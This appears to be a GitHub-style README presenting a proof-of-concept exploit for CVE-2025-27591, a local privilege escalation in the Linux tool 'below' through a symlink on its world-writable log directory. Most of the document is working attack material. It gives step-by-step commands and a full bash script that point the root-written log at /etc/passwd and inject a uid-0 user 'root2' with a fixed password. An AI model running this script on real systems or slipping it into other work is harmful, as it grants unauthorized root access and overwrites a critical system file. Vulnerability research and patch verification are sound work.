CVE-2025-27591 PoC — below 安全漏洞

Description

Local Privilege Escalation vai `below` (CVE-2025-27591) - PoC Exploit

Readme

# CVE-2025-27591 – Privilege Escalation in Below
## 1) Introduction
[Below](https://github.com/facebookincubator/below) is a Linux tool for recording and displaying system data such as hardware utilization and cgroup metrics.  

In versions prior to **v0.9.0**, Below’s systemd service runs with `root` privileges and creates world-writable log directories and files under `/var/log/below`. This insecure configuration enables **symlink attacks** that allow an unprivileged local user to escalate privileges to `root`.

This issue was assigned **CVE-2025-27591**.  
Upstream fixed it in **v0.9.0**.

---

## 2) Vulnerability – Symlink Attack in `/var/log/below`

- Below ensures `/var/log/below` has **0777** permissions at runtime.  
- It also creates `/var/log/below/error_root.log` with **0666** permissions.  
- Because the directory is world-writable, an attacker can **replace the log file with a symlink** to any sensitive file (e.g., `/etc/passwd`).  
- When Below writes logs as root, it will instead write to the symlink target, allowing privilege escalation.

This behavior bypasses the kernel’s `protected_symlinks` hardening because the sticky bit is not applied.

---

## 3) Exploitation

By pointing `error_root.log` to `/etc/passwd`, we can inject a new root user with a known password.

### Steps
Step 1: Create backup of `/etc/passwd`.
Always back up before modifying system files:
```bash
cp /etc/passwd /tmp/passwd.bak
```
Step 2: Generate a malicious user entry
```bash
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload
```
Step 3: Symlink the vulnerable log
```bash
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
```
Step 4: Trigger log creation
```bash
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
```
Step 5: Overwrite `/etc/passwd`
```bash
cat /tmp/payload > /var/log/below/error_root.log
```
Step 6: Switch to the new root user
```bash
su root2
# password: rooted123
```

---

## 4) Proof of Concept (PoC): Run this script

```bash
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'

TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"

echo "[*] CVE-2025-27591 Privilege Escalation Exploit"

# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
  echo "[!] 'below' is not available via sudo. Exiting."
  exit 1
fi

# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"

# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')

# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"

# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"

# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1

# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"

# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2
```
<img width="293" height="136" alt="CVE-2025-27591" src="https://github.com/user-attachments/assets/b01a5ea4-1b0e-4986-81c5-dabe06e4e148" />

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